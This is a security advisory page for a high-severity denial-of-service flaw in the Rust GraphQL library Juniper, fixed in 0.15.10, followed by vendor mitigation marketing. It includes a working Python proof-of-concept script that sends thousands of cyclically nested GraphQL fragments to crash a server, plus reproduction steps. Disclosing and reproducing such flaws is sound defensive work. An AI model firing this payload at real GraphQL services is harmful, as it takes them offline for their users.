GHSA-4rx6-g5vg-5f3j
HIGHJuniper is vulnerable to @DOS GraphQL Nested Fragments overflow
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
juniperReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
GraphQL behaviour
Nested fragment in GraphQL might be quite hard to handle depending on the implementation language. Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.
# Infinite loop example
query {
...a
}
fragment a on Query {
...b
}
fragment b on Query {
...a
}
POC TLDR
With max_size being the number of nested fragment generated. At max_size=7500, it should instantly raise:

However, with a lower size, you will overflow the memory after some iterations.
Reproduction steps (Juniper)
git clone https://github.com/graphql-rust/juniper.git
cd juniper
Save this POC as poc.py
import requests
import time
import json
from itertools import permutations
print('=== Fragments POC ===')
url = 'http://localhost:8080/graphql'
max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]
fragment_payloads = ''
for i, perm in enumerate(perms):
next_perm = perms[i+1] if i < max_size-1 else perms[0]
fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'
payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}
headers = {
'Content-Type': 'application/json',
}
try:
response = requests.request('POST', url, headers=headers, json=payload)
print(response.text)
except requests.exceptions.ConnectionError:
print('Connection closed, POC worked.')
cargo run
[in separate shell] python3 poc.py
Credits
@c3b5aw @MdotTIM @karimhreda
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | juniper | all versions | 0.15.10 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for juniper. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update juniper to 0.15.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4rx6-g5vg-5f3j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4rx6-g5vg-5f3j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4rx6-g5vg-5f3j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4rx6-g5vg-5f3j in your dependencies?
O3 detects GHSA-4rx6-g5vg-5f3j across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.